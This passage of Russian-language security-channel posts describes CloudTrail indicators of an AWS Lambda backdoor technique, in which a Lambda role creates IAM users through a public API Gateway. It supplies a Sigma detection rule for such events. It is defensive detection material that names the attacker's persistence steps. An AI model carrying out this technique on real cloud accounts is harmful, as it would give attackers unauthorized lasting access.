requestParameters.role: arn:aws:iam::***:role/lambda-backdoor-role — показывает, что к новой функции привязывается та самая роль, которую создали на первом шаге.3️⃣ Событие CreateApi (создание триггера API Gateway)
Здесь создается публичный API. Ключевым индикатором в логе является поле userIdentity.invokedBy со значением AWS Internal и requestParameters.denoscription, равное Created by AWS Lambda. Это говорит о том, что API был создан автоматически через интерфейс Lambda, что характерно для этой атаки.
4️⃣ Событие CreateUser (создание бэкдор-пользователя)
В логе мы видим событие создания нового пользователя, но в поле
userIdentity.sessionContext.sessionIssuer.userName указано имя нашей роли lambda-backdoor-role. Это аномалия: сервисная роль внезапно начала создавать пользователей.•
eventName: CreateUser — само действие.•
userIdentity.type: AssumedRole — указывает, что действие выполнено не напрямую пользователем, а ролью.•
userIdentity.sessionContext.sessionIssuer.userName: lambda-backdoor-role — пользователем-инициатором является не человек, а сервисная роль Lambda. Это аномалия.•
requestParameters.userName: backdoor-user-20250921-155854 — имя созданного пользователя.• В самом низу объекта userIdentity есть специальный блок
inScopeOf. Поле "issuerType": "AWS::Lambda::Function" — это говорит, что временные учетные данные, использованные для этого API-вызова, были выданы именно Lambda-функции.• Еще одним очень сильным индикатором является userAgent: наличие подстроки
exec-env/AWS_Lambda. Строка добавляется средой выполнения Lambda и показывает, что код, совершивший API-вызов, был исполнен именно в окружении Lambda.Если пост соберет три лайка, то в следующем поделимся идеей для правила корреляции в SIEM 😉
#detect #tip #reverse
@ptescalator
🔥28👍11👏8❤6
Идея для правила корреляции в SIEM 💡
Хотя отслеживание всей цепочки атаки, описанной в постах выше, дает полную картину, самым сильным и простым для реализации сигналом является само событие создания пользователя.
ЕСЛИ
ТО сгенерировать алерт высокого приоритета.
Учитывая, что создание пользователей Lambda-функциями является крайне редким и аномальным поведением, такое правило будет иметь очень низкий уровень ложных срабатываний.
Sigma-правило:
Этот эксперимент еще раз доказал, что мониторинг действий самих сервисов (а не только пользователей) — ключ к безопасности в облаке. А с какими еще техниками закрепления в облаке сталкивались вы?
#detect #tip #sigma #reverse
@ptescalator
Хотя отслеживание всей цепочки атаки, описанной в постах выше, дает полную картину, самым сильным и простым для реализации сигналом является само событие создания пользователя.
ЕСЛИ
eventName = CreateUser И userIdentity указывает на роль Lambda-функции (userIdentity.inScopeOf.issuerType = AWS::Lambda::Function), ТО сгенерировать алерт высокого приоритета.
Учитывая, что создание пользователей Lambda-функциями является крайне редким и аномальным поведением, такое правило будет иметь очень низкий уровень ложных срабатываний.
Sigma-правило:
noscript: Suspicious IAM User Creation by AWS Lambda Function
id: 700feb27-05a5-4ba1-ae80-2c8d0d3591eb
status: test
denoscription: >-
Detects the creation or modification of an IAM user/credentials where the action is initiated by an AWS Lambda function's execution role.
This is a highly anomalous behavior and a key indicator of the "Persistence-as-a-Service" technique,
where an attacker uses a Lambda function (often exposed via an open API Gateway) to create backdoor users.
references:
- https://securitylabs.datadoghq.com/articles/tales-from-the-cloud-trenches-the-attacker-doth-persist-too-much/
author: 'PT ESC'
date: '2025/09/20'
logsource:
product: aws
service: cloudtrail
detection:
selection:
eventName:
- CreateUser
- CreateAccessKey
- AttachUserPolicy
- UpdateLoginProfile
userIdentity.inScopeOf.issuerType: 'AWS::Lambda::Function'
condition: selection
falsepositives:
- Legitimate workflows that use Lambda to automatically create users (e.g., a custom registration portal). These functions should be added to the exceptions.
level: high
Этот эксперимент еще раз доказал, что мониторинг действий самих сервисов (а не только пользователей) — ключ к безопасности в облаке. А с какими еще техниками закрепления в облаке сталкивались вы?
#detect #tip #sigma #reverse
@ptescalator
🔥12👍10👏6❤2